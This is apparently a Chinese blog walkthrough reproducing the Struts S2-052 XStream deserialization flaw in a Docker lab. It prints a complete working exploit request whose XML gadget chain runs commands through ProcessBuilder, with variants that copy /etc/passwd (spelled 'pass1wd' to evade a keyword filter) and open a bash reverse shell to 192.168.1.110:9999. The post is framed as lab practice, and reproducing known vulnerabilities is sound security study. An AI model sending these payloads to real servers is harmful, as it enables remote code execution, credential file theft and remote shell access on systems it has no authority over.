Struts S2-052复现成功-反弹Shell实验
在网上看了其他人复现的例子,方法,步骤都是对的,但是失败了原因,不知道是不是原作者所写,总之,字符编码有问题,这种问题有可能是复制粘贴才会出现
其中s2-052,最重要的一点没有提及,就是
Content-Type: application/xml这句话没有提及。
第一步,抄刀来做,docker 下载镜像
docker pull medicean/vulapps:s_struts2_s2-052第二步,启动环境
docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s2-052第三步,访问http://IP地址:8080 即可看到如下图所示
http://image.3001.net/images/20170907/15047777605486.png%21small
第四步,使用brupsuite抓包,记得修改成post方式
POST /orders HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: JSESSIONID=CB2AC06815FE6EF6A926D85DA7ECE876
Connection: close
If-None-Match: 1297469393
Content-Length: 2409
Content-Type: application/xml
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/nvhack.com.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
以上代码,<map>...</map> 为post请求参数,其中注意,请求头中添加:Content-Type: application/xml
在<map>...</map>中执行命令的代码是:
<command>
<string>touch</string>
<string>/tmp/nvhack.com.txt</string>
</command>执行成功后,可以 :cat /tmp/nvhack.com.txt 发现存在这个文件了
当然你也可以执行其他命令,如:
<command>
<string>cp</string>
<string>/etc/pass1wd</string>
<string>/tmp/pass1wd</string>
</command>反弹shell
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.1.110/9999 0>&1</string>
</command>
由于服务器对关键字的限制,以上代码中的
pass1wd 为passwd
请自行修改
,
由于服务器对关键字的限制
pass1wd 为passwd
请自行修改
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